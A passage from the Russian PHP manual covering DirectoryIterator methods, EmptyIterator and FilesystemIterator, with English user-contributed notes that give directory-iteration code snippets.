    echo $key.PHP_EOL; // The key is a number
    $files[] = $item;
}

echo $files[0]->getFilename(); // nothing happens here, you do need to use clone $item inside the foreach

?>

FilesystemIterator:
* Dot files skipped.
* Pathname is used as a key as well as a value.
* Configurable.
* Uses SplFileInfo to store the files.

"FilesystemIterator" it's an enhanced version of DirectoryIterator, and I prefer to use it instead of the DirectoryIterator.
cmanley at example dot com 22-Apr-2019 07:10
Beware that DirectoryIterator returns a reference to itself with each iteration instead of a unique new SplFileInfo object as one may first assume.
This is important to know if you want to push the results of an iteration into an array for later processing.
If you do that, then all entries in the array will be the same DirectoryIterator object with the same internal state (most likely invalid - see the valid() method), which is probably not what you want.
So if you do want to store the iteration results in an array, then you must convert them to either plain strings  or new SplFileInfo objects first.

$todo = [];
foreach (new DirectoryIterator('/some/dir') as $entry) {
    if (!$entry->isFile()) {
        continue;
    }
    #$todo []= $entry; # Don't do this!
    $todo []= new SplFileInfo($entry->getFilename());    # Do this!
    #$todo []= $entry->getFilename();    # or do this if you're only interested in the file name.
}
a dot lyskawa at nisza dot org 18-Dec-2009 12:55
Here's all-in-one DirectoryIterator:

<?php

/**
 * Real Recursive Directory Iterator
 */
class RRDI extends RecursiveIteratorIterator {
  /**
   * Creates Real Recursive Directory Iterator
   * @param string $path
   * @param int $flags
   * @return DirectoryIterator
   */
  public function __construct($path, $flags = 0) {
    parent::__construct(new RecursiveDirectoryIterator($path, $flags));
  }
}

/**
 * Real RecursiveDirectoryIterator Filtered Class
 * Returns only those items which filenames match given regex
 */
class AdvancedDirectoryIterator extends FilterIterator {
  /**
   * Regex storage
   * @var string
   */
  private $regex;
  /**
   * Creates new AdvancedDirectoryIterator
   * @param string $path, prefix with '-R ' for recursive, postfix with /[wildcards] for matching
   * @param int $flags
   * @return DirectoryIterator
   */
  public function  __construct($path, $flags = 0) {
    if (strpos($path, '-R ') === 0) { $recursive = true; $path = substr($path, 3); }
    if (preg_match('~/?([^/]*\*[^/]*)$~', $path, $matches)) { // matched wildcards in filename
      $path = substr($path, 0, -strlen($matches[1]) - 1); // strip wildcards part from path
      $this->regex = '~^' . str_replace('*', '.*', str_replace('.', '\.', $matches[1])) . '$~'; // convert wildcards to regex
      if (!$path) $path = '.'; // if no path given, we assume CWD
    }
    parent::__construct($recursive ? new RRDI($path, $flags) : new DirectoryIterator($path));
  }
  /**
   * Checks for regex in current filename, or matches all if no regex specified
   * @return bool
   */
  public function accept() { // FilterIterator method
    return $this->regex === null ? true : preg_match($this->regex, $this->getInnerIterator()->getFilename());
  }
}

?>

Some examples:

<?php

/* @var $i DirectoryIterator */

foreach (new AdvancedDirectoryIterator('.') as $i) echo $i->getPathname() . '<br/>';
// will output all files and directories in CWD

foreach (new AdvancedDirectoryIterator('-R *.php') as $i) echo $i->getPathname() . '<br/>';
// will output all php files in CWD and all subdirectories

foreach (new AdvancedDirectoryIterator('-R js/jquery-*.js') as $i) echo $i->getPathname() . '<br/>';
// will output all jQuery versions in directory js, or throw an exception if directory js doesn't exist

?>

Pretty cool, huh? :)
kendsnyder at gmail dot com 04-Dec-2008 11:54
Don't store DirectoryIterator objects for later; you will get an error saying "too many open files" when you store more than the operating system limit (usually 256 or 1024).

For example, this will yield an error if the directory has too many files:

<?php
$files = array();
foreach (new DirectoryIterator('myDir') as $file) {
  $files[] = $file;
}
?>

Presumably, this approach is memory intensive as well.
pcdinh at phpvietnam dot net 12-Aug-2007 07:55
I need to traverse recursively through a directory tree and get all sub-directory paths and has written a snippet to do that.

<?php
$path = "D:\webroot\phpvietnamcms";
foreach (new RecursiveIteratorIterator(
           new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::CHILD_FIRST) as $file => $info) {
    if ($info->isDir())
    {
        echo $file."<br />";
    }
}

?>
goran at extensionsforjoomla dot com 20-Jun-2007 04:44
I needed to match in directory tree file name(s) by regular expression. Code is based on Marcus Borger class DirectoryTreeIterator http://cvs.php.net/viewvc.cgi/php-src/ext/spl/examples/ and on examples given in his lecture Introduction to object oriented PHP at PHP Quebec conference 2007 http://talks.somabo.de/
<?php
class KeyFilter extends FilterIterator
{
  private $_rx;

  function __construct(Iterator $it, $regex)
  {
    parent::__construct($it);
    $this->_rx= $regex;
  }

  function accept()
  {
    return ereg($this->_rx,$this->getInnerIterator()->key());
  }

  protected function __clone() {
    return false;
  }
}

class DirMach extends KeyFilter
{
  function __construct($path , $regex)
  {
    parent::__construct(
    new DirectoryTreeIterator($path), $regex);
  }

  function current()
  {
    return parent::key();
  }

  function key()
  {
    return parent::key();
  }
}

class DirectoryTreeIterator extends RecursiveIteratorIterator
{
    /** Construct from a path.
     * @param $path directory to iterate
     */
    function __construct($path)
    {
     try {
      parent::__construct(
            new RecursiveCachingIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_FILENAME
                ),
                CachingIterator::CALL_TOSTRING|CachingIterator::CATCH_GET_CHILD
            ),
            parent::SELF_FIRST
        );
     } catch(Exception $e) {
       echo $e->getMessage();
       exit;
     }
    }

    /** @return the current element prefixed with ASCII graphics
     */
    function current()
    {
      if ($this->hasChildren())
        $this->next();
      return $this->key();
    }

    /** Aggregates the inner iterator
     */
    function __call($func, $params)
    {
      return call_user_func_array(array($this->getSubIterator(), $func), $params);
    }
}
$PathToSearch = 'path_to_search';
$regex = 'regular_expression';
$FileList = new DirMach($PathToSearch, $regex);
foreach ($FileList as $file) {
  $match[] = $file;
}
echo '<pre>';
var_dump($match);
echo '</pre>';
?>
springub at northclick dot de 13-Dec-2006 04:26
udvig dot ericson at gmail dot com
29-Jul-2006 07:48

In response to the comment below from udvig. The Example ist wrong, here is the right one:

<?php
$dir = new DirectoryIterator("/tmp");
foreach ($dir as $file) {
   if ($file->isDot()) {
       continue;
   }
   echo $file->getFilename() . "\n";
}
?>
fernandobassani at gmail dot com 25-Jan-2006 10:36
We can now replace the old fashioned way of listing the content from a directory!

the old way:
<?php
if ($handle = opendir('/home/fernando/temp')) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            print "$file <br />";
        }
    }
    closedir($handle);
}
?>

the new way:
<?php
$dir = new DirectoryIterator('/home/fernando/temp');
while($dir->valid()) {
    if(!$dir->isDot()) {
        print $dir->current()."<br />";
    }
    $dir->next();
}
?>


Возвращает текущий элемент DirectoryIterator

  • « DirectoryIterator::__construct
  • DirectoryIterator::getBasename »
  • PHP Manual
  • DirectoryIterator
  • Возвращает текущий элемент DirectoryIterator

DirectoryIterator::current

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::current — Возвращает текущий элемент DirectoryIterator

Описание

public DirectoryIterator::current(): mixed

Получает текущий элемент DirectoryIterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущий элемент DirectoryIterator.

Примеры

Пример #1 Пример использования DirectoryIterator::current()

В данном примере будет выведено содержимое каталога, содержащего скрипт.

<?php
$iterator = new DirectoryIterator(__DIR__);
while($iterator->valid()) {
$file = $iterator->current();
echo $iterator->key() . " => " . $file->getFilename() . "\n";
$iterator->next();
}
?>

Результатом выполнения данного примера будет что-то подобное:

0 => .
1 => ..
2 => apple.jpg
3 => banana.jpg
4 => index.php
5 => pear.jpg

Смотрите также

  • DirectoryIterator::key() - Возвращает ключ для текущего элемента DirectoryIterator
  • DirectoryIterator::next() - Переход к следующему элементу DirectoryIterator
  • DirectoryIterator::rewind() - Перемотка итератора DirectoryIterator назад к началу
  • DirectoryIterator::valid() - Проверяет, является ли текущая позиция DirectoryIterator корректным файлом
  • Iterator::current() - Возврат текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Получает базовое имя текущего элемента DirectoryIterator

  • « DirectoryIterator::current
  • DirectoryIterator::getExtension »
  • PHP Manual
  • DirectoryIterator
  • Получает базовое имя текущего элемента DirectoryIterator

DirectoryIterator::getBasename

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

DirectoryIterator::getBasename — Получает базовое имя текущего элемента DirectoryIterator

Описание

public DirectoryIterator::getBasename(string $suffix = ""): string

Получает базовое имя текущего элемента DirectoryIterator.

Список параметров

suffix

Если базовое имя заканчивается на suffix, то он будет отброшен.

Возвращаемые значения

Базовое имя текущего элемента DirectoryIterator.

Примеры

Пример #1 Пример использования DirectoryIterator::getBasename()

В этом примере для файлов в каталоге, содержащем скрипт, будет перечислено полное базовое имя и базовое имя с удалённым суффиксом .jpg.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
if ($fileinfo->isFile()) {
echo $fileinfo->getBasename() . "\n";
echo $fileinfo->getBasename('.jpg') . "\n";
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

apple.jpg
apple
banana.jpg
banana
index.php
index.php
pear.jpg
pear

Смотрите также

  • DirectoryIterator::getFilename() - Возвращает имя файла текущего элемента DirectoryIterator
  • DirectoryIterator::getPath()
  • DirectoryIterator::getPathname()
  • basename() - Возвращает последний компонент имени из указанного пути
  • pathinfo() - Возвращает информацию о пути к файлу

User Contributed Notes

There are no user contributed notes for this page.


Получает расширение файла

  • « DirectoryIterator::getBasename
  • DirectoryIterator::getFilename »
  • PHP Manual
  • DirectoryIterator
  • Получает расширение файла

DirectoryIterator::getExtension

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

DirectoryIterator::getExtension — Получает расширение файла

Описание

public DirectoryIterator::getExtension(): string

Получает расширение файла.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string), содержащую расширение файла или пустую строку (string), если у файла нет расширения.

Примеры

Пример #1 Пример использования DirectoryIterator::getExtension()

<?php

$directory = new DirectoryIterator(__DIR__);
foreach ($directory as $fileinfo) {
if ($fileinfo->isFile()) {
echo $fileinfo->getExtension() . "\n";
}
}

?>

Результатом выполнения данного примера будет что-то подобное:

php
txt
jpg
gz

Примечания

Замечание:

Другим способом получения расширения является использование функции pathinfo().

<?php
$extension = pathinfo($fileinfo->getFilename(), PATHINFO_EXTENSION);
?>

Смотрите также

  • DirectoryIterator::getFilename() - Возвращает имя файла текущего элемента DirectoryIterator
  • DirectoryIterator::getBasename() - Получает базовое имя текущего элемента DirectoryIterator
  • pathinfo() - Возвращает информацию о пути к файлу

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя файла текущего элемента DirectoryIterator

  • « DirectoryIterator::getExtension
  • DirectoryIterator::isDot »
  • PHP Manual
  • DirectoryIterator
  • Возвращает имя файла текущего элемента DirectoryIterator

DirectoryIterator::getFilename

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::getFilename — Возвращает имя файла текущего элемента DirectoryIterator

Описание

public DirectoryIterator::getFilename(): string

Возвращает имя файла текущего элемента DirectoryIterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла текущего элемента DirectoryIterator.

Примеры

Пример #1 Пример использования DirectoryIterator::getFilename()

В данном примере будет выведено содержимое каталога, содержащего скрипт.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
echo $fileinfo->getFilename() . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

Смотрите также

  • DirectoryIterator::getBasename() - Получает базовое имя текущего элемента DirectoryIterator
  • DirectoryIterator::getPath()
  • DirectoryIterator::getPathname()
  • pathinfo() - Возвращает информацию о пути к файлу

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли текущий элемент DirectoryIterator '.' или '.'.

  • « DirectoryIterator::getFilename
  • DirectoryIterator::key »
  • PHP Manual
  • DirectoryIterator
  • Определяет, является ли текущий элемент DirectoryIterator '.' или '.'.

DirectoryIterator::isDot

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::isDot — Определяет, является ли текущий элемент DirectoryIterator '.' или '.'.

Описание

public DirectoryIterator::isDot(): bool

Определяет, является ли текущий элемент DirectoryIterator . или ..

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если элемент является . или .., в противном случае возвращает false.

Примеры

Пример #1 Пример использования DirectoryIterator::isDot()

В данном примере будут перечислены все файлы, за исключением элементов . и ...

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
if (!$fileinfo->isDot()) {
echo $fileinfo->getFilename() . "\n";
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

apple.jpg
banana.jpg
example.php
pears.jpg

Смотрите также

  • DirectoryIterator::getType()
  • DirectoryIterator::isDir()
  • DirectoryIterator::isFile()
  • DirectoryIterator::isLink()

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ключ для текущего элемента DirectoryIterator

  • « DirectoryIterator::isDot
  • DirectoryIterator::next »
  • PHP Manual
  • DirectoryIterator
  • Возвращает ключ для текущего элемента DirectoryIterator

DirectoryIterator::key

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::key — Возвращает ключ для текущего элемента DirectoryIterator

Описание

public DirectoryIterator::key(): mixed

Возвращает ключ для текущего элемента DirectoryIterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ключ для текущего элемента DirectoryIterator в виде целого числа (int).

Список изменений

Версия | Описание
8.1.0 | При ошибке инициализации итератора теперь выдаётся ошибка Error; ранее метод возвращал значение false.

Примеры

Пример #1 Пример использования DirectoryIterator::key()

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
if (!$fileinfo->isDot()) {
echo $fileinfo->key() . " => " . $fileinfo->getFilename() . "\n";
}
}
?>

Результатом выполнения данного примера будет что-то подобное:

0 => apple.jpg
1 => banana.jpg
2 => index.php
3 => pear.jpg

Смотрите также

  • DirectoryIterator::current() - Возвращает текущий элемент DirectoryIterator
  • DirectoryIterator::next() - Переход к следующему элементу DirectoryIterator
  • DirectoryIterator::rewind() - Перемотка итератора DirectoryIterator назад к началу
  • DirectoryIterator::valid() - Проверяет, является ли текущая позиция DirectoryIterator корректным файлом
  • Iterator::key() - Возвращает ключ текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Переход к следующему элементу DirectoryIterator

  • « DirectoryIterator::key
  • DirectoryIterator::rewind »
  • PHP Manual
  • DirectoryIterator
  • Переход к следующему элементу DirectoryIterator

DirectoryIterator::next

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::next — Переход к следующему элементу DirectoryIterator

Описание

public DirectoryIterator::next(): void

Переход к следующему элементу DirectoryIterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования DirectoryIterator::next()

Перечисление содержимого каталога с помощью цикла while.

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
while($iterator->valid()) {
echo $iterator->getFilename() . "\n";
$iterator->next();
}
?>

Результатом выполнения данного примера будет что-то подобное:

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

Смотрите также

  • DirectoryIterator::current() - Возвращает текущий элемент DirectoryIterator
  • DirectoryIterator::key() - Возвращает ключ для текущего элемента DirectoryIterator
  • DirectoryIterator::rewind() - Перемотка итератора DirectoryIterator назад к началу
  • DirectoryIterator::valid() - Проверяет, является ли текущая позиция DirectoryIterator корректным файлом
  • Iterator::next() - Переходит к следующему элементу

User Contributed Notes

There are no user contributed notes for this page.


Перемотка итератора DirectoryIterator назад к началу

  • « DirectoryIterator::next
  • DirectoryIterator::seek »
  • PHP Manual
  • DirectoryIterator
  • Перемотка итератора DirectoryIterator назад к началу

DirectoryIterator::rewind

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::rewind — Перемотка итератора DirectoryIterator назад к началу

Описание

public DirectoryIterator::rewind(): void

Перемотка итератора DirectoryIterator назад к началу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования DirectoryIterator::rewind()

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); //перемотка к началу
echo $iterator->key(); //0
?>

Смотрите также

  • DirectoryIterator::current() - Возвращает текущий элемент DirectoryIterator
  • DirectoryIterator::key() - Возвращает ключ для текущего элемента DirectoryIterator
  • DirectoryIterator::next() - Переход к следующему элементу DirectoryIterator
  • DirectoryIterator::valid() - Проверяет, является ли текущая позиция DirectoryIterator корректным файлом
  • Iterator::rewind() - Возвращает итератор на первый элемент

User Contributed Notes

There are no user contributed notes for this page.


Переход к элементу DirectoryIterator

  • « DirectoryIterator::rewind
  • DirectoryIterator::__toString »
  • PHP Manual
  • DirectoryIterator
  • Переход к элементу DirectoryIterator

DirectoryIterator::seek

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DirectoryIterator::seek — Переход к элементу DirectoryIterator

Описание

public DirectoryIterator::seek(int $offset): void

Переход к заданной позиции DirectoryIterator.

Список параметров

offset

Числовая позиция, начинающаяся с нуля, к которой следует перейти.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования DirectoryIterator::seek()

Переход к четвёртому элементу каталога, содержащего скрипт. Первыми двумя обычно являются . и ...

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
$iterator->seek(3);
if ($iterator->valid()) {
echo $iterator->getFilename();
} else {
echo 'Отсутствие файла в позиции 3';
}
?>

Смотрите также

  • DirectoryIterator::rewind() - Перемотка итератора DirectoryIterator назад к началу
  • DirectoryIterator::next() - Переход к следующему элементу DirectoryIterator
  • SeekableIterator::seek() - Перемещается к позиции

User Contributed Notes

There are no user contributed notes for this page.


Получает имя файла в виде строки

  • « DirectoryIterator::seek
  • DirectoryIterator::valid »
  • PHP Manual
  • DirectoryIterator
  • Получает имя файла в виде строки

DirectoryIterator::__toString

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::__toString — Получает имя файла в виде строки

Описание

public DirectoryIterator::__toString(): string

Получает имя файла текущего элемента DirectoryIterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла текущего элемента DirectoryIterator.

Примеры

Пример #1 Пример использования DirectoryIterator::__toString()

В данном примере будет выведено содержимое каталога, содержащего скрипт.

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
echo $fileinfo;
}
?>

Результатом выполнения данного примера будет что-то подобное:

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

Смотрите также

  • DirectoryIterator::getFilename() - Возвращает имя файла текущего элемента DirectoryIterator
  • Магический метод __toString()

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли текущая позиция DirectoryIterator корректным файлом

  • « DirectoryIterator::__toString
  • EmptyIterator »
  • PHP Manual
  • DirectoryIterator
  • Проверяет, является ли текущая позиция DirectoryIterator корректным файлом

DirectoryIterator::valid

(PHP 5, PHP 7, PHP 8)

DirectoryIterator::valid — Проверяет, является ли текущая позиция DirectoryIterator корректным файлом

Описание

public DirectoryIterator::valid(): bool

Проверяет, является ли текущая позиция DirectoryIterator корректным файлом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если позиция корректна, иначе возвращает false

Примеры

Пример #1 Пример использования DirectoryIterator::valid()

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));

// Переход к концу итератора
while($iterator->valid()) {
$iterator->next();
}

$iterator->valid(); // FALSE
$iterator->rewind();
$iterator->valid(); // TRUE

?>

Смотрите также

  • DirectoryIterator::current() - Возвращает текущий элемент DirectoryIterator
  • DirectoryIterator::key() - Возвращает ключ для текущего элемента DirectoryIterator
  • DirectoryIterator::next() - Переход к следующему элементу DirectoryIterator
  • DirectoryIterator::rewind() - Перемотка итератора DirectoryIterator назад к началу
  • Iterator::valid() - Проверяет корректность текущей позиции

User Contributed Notes

There are no user contributed notes for this page.


Класс EmptyIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Класс EmptyIterator для пустого итератора.

Обзор классов

class EmptyIterator implements Iterator {
/* Методы */
public current(): never
public key(): never
public next(): void
public rewind(): void
public valid(): false
}

Содержание

  • EmptyIterator::current — Метод current()
  • EmptyIterator::key — Метод key()
  • EmptyIterator::next — Метод next()
  • EmptyIterator::rewind — Метод rewind()
  • EmptyIterator::valid — Метод valid()

User Contributed Notes

Ben 20-Jun-2017 12:42
Example use case:

<?php
class MyIterator implements IteratorAggregate
{
    /**
     * @var string
     */
    private $url;

    /**
     * MyIterator constructor.
     * @param $url
     */
    public function __construct($url)
    {
        $this->url = $url;
    }

    /**
     * @inheritDoc
     */
    public function getIterator()
    {
        $content = file_get_contents($this->url);
        try {
            return @new SimpleXMLIterator($content);

        } catch (Exception $e) { // Case $content is not valid XML, but you don't care
            return new EmptyIterator();
        }
    }

}
?>


Метод current()

  • « EmptyIterator
  • EmptyIterator::key »
  • PHP Manual
  • EmptyIterator
  • Метод current()

EmptyIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

EmptyIterator::current — Метод current()

Описание

public EmptyIterator::current(): never

Функция не должна вызываться. Выбрасывает исключение при попытке доступа.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Ошибки

Выбрасывает исключение Exception при вызове.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Метод key()

  • « EmptyIterator::current
  • EmptyIterator::next »
  • PHP Manual
  • EmptyIterator
  • Метод key()

EmptyIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

EmptyIterator::key — Метод key()

Описание

public EmptyIterator::key(): never

Эта функция не должна вызываться. Вызывает исключение при попытке доступа.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Ошибки

Вызывает исключение Exception при вызове.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Метод next()

  • « EmptyIterator::key
  • EmptyIterator::rewind »
  • PHP Manual
  • EmptyIterator
  • Метод next()

EmptyIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

EmptyIterator::next — Метод next()

Описание

public EmptyIterator::next(): void

Нет действия. Ничего не делает.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Метод rewind()

  • « EmptyIterator::next
  • EmptyIterator::valid »
  • PHP Manual
  • EmptyIterator
  • Метод rewind()

EmptyIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

EmptyIterator::rewind — Метод rewind()

Описание

public EmptyIterator::rewind(): void

Нет действия. Ничего не делает.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Метод valid()

  • « EmptyIterator::rewind
  • FilesystemIterator »
  • PHP Manual
  • EmptyIterator
  • Метод valid()

EmptyIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

EmptyIterator::valid — Метод valid()

Описание

public EmptyIterator::valid(): false

Метод valid() класса EmptyIterator.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

false

User Contributed Notes

There are no user contributed notes for this page.


Класс FilesystemIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Итератор файловой системы

Обзор классов

class FilesystemIterator extends DirectoryIterator {
/* Константы */
public const int CURRENT_MODE_MASK;
public const int CURRENT_AS_PATHNAME;
public const int CURRENT_AS_FILEINFO;
public const int CURRENT_AS_SELF;
public const int KEY_MODE_MASK;
public const int KEY_AS_PATHNAME;
public const int FOLLOW_SYMLINKS;
public const int KEY_AS_FILENAME;
public const int NEW_CURRENT_AND_KEY;
public const int OTHER_MODE_MASK;
public const int SKIP_DOTS;
public const int UNIX_PATHS;
/* Методы */
public __construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS)
public current(): string|SplFileInfo|FilesystemIterator
public getFlags(): int
public key(): string
public next(): void
public rewind(): void
public setFlags(int $flags): void
/* Наследуемые методы */
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Предопределённые константы

FilesystemIterator::CURRENT_AS_PATHNAME

Заставляет метод FilesystemIterator::current() вернуть путь.

FilesystemIterator::CURRENT_AS_FILEINFO

Заставляет метод FilesystemIterator::current() вернуть экземпляр SplFileInfo.

FilesystemIterator::CURRENT_AS_SELF

Заставляет метод FilesystemIterator::current() вернуть $this (FilesystemIterator).

FilesystemIterator::CURRENT_MODE_MASK

Маскирует FilesystemIterator::current()

FilesystemIterator::KEY_AS_PATHNAME

Заставляет метод FilesystemIterator::key() вернуть путь.

FilesystemIterator::KEY_AS_FILENAME

Заставляет метод FilesystemIterator::key() вернуть имя файла.

FilesystemIterator::FOLLOW_SYMLINKS

Заставляет метод RecursiveDirectoryIterator::hasChildren() следовать символическим ссылкам.

FilesystemIterator::KEY_MODE_MASK

Маскирует FilesystemIterator::key()

FilesystemIterator::NEW_CURRENT_AND_KEY

То же, что FilesystemIterator::KEY_AS_FILENAME | FilesystemIterator::CURRENT_AS_FILEINFO.

FilesystemIterator::OTHER_MODE_MASK

Маска используется для FilesystemIterator::getFlags() и FilesystemIterator::setFlags().

FilesystemIterator::SKIP_DOTS

Пропускает точечные файлы (. и ..).

FilesystemIterator::UNIX_PATHS

Заставляет все пути использовать обратный слеш в Unix-стиле, независимо от настроек системы по умолчанию. Обратите внимание, что path, переданный в конструктор, не меняется.

Содержание

  • FilesystemIterator::__construct — Создаёт новый итератор файловой системы
  • FilesystemIterator::current — Текущий файл
  • FilesystemIterator::getFlags — Получение флагов настроек объекта
  • FilesystemIterator::key — Определение ключа текущего файла
  • FilesystemIterator::next — Перемещение указателя на следующий файл
  • FilesystemIterator::rewind — Перемещение указателя на начало
  • FilesystemIterator::setFlags — Задание флагов обработки

User Contributed Notes

blackout at drunkenlords dot com 22-Jul-2021 06:20
Here's a great little drop in replacement for FilesystemIterator I wrote to easily Iterate your filesystem, including:

* Sorting - using ArrayIterator
* Regex Matching - using RegexIterator
* Limiting - using LimitIterator

It's fully chainable

<?php

// Sort by filemtime
$files = (new AdvancedFilesystemIterator('/path/to/files'))->sortByMTime();

// Sort by filemtime -> Limit output to 10
$files = (new AdvancedFilesystemIterator('/path/to/files'))->sortByMTime()->limit(0, 10);

// Sort by filemtime -> Only get CSV files -> Limit to 10
$files = (new AdvancedFilesystemIterator('/path/to/files'))->sortByMTime()->match('/csv$/')->limit(0, 10);

// Sort by filemtime -> Only get CSV files -> Limit to 10 -> and back to sorting by Filename
$files = (new AdvancedFilesystemIterator('/path/to/files'))->sortByMTime()->match('/csv$/')->limit(0, 10)->sortByFilename();

// Sort by any of SplFileInfo's get*() methods i.e. Owner, CTime, Basename, ATime, Perms, Type, isFile, anything
$files = (new AdvancedFilesystemIterator('/path/to/files'))->sortByOwner();

// Foreach
foreach ((new AdvancedFilesystemIterator('/path/to/files'))->sortByMTime()->match('/csv$/')->limit(0, 10) AS $file)
{
    print $file->getFilename() . "<br>\n";
}

// The Class
class AdvancedFilesystemIterator extends ArrayIterator
{
    public function __construct(string $path, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS)
    {
        parent::__construct(iterator_to_array(new FilesystemIterator($path, $flags)));
    }

    public function __call(string $name, array $arguments)
    {
        if (preg_match('/^sortBy(.*)/', $name, $m)) return $this->sort('get' . $m[1]);
        throw new MemberAccessException('Method ' . $methodName . ' not exists');
    }

    public function sort($method)
    {
        if (!method_exists('SplFileInfo', $method)) throw new InvalidArgumentException(sprintf('Method "%s" does not exist in SplFileInfo', $method));

        $this->uasort(function(SplFileInfo $a, SplFileInfo $b) use ($method) { return (is_string($a->$method()) ? strnatcmp($a->$method(), $b->$method()) : $b->$method() - $a->$method()); });

        return $this;
    }

    public function limit(int $offset = 0, int $limit = -1)
    {
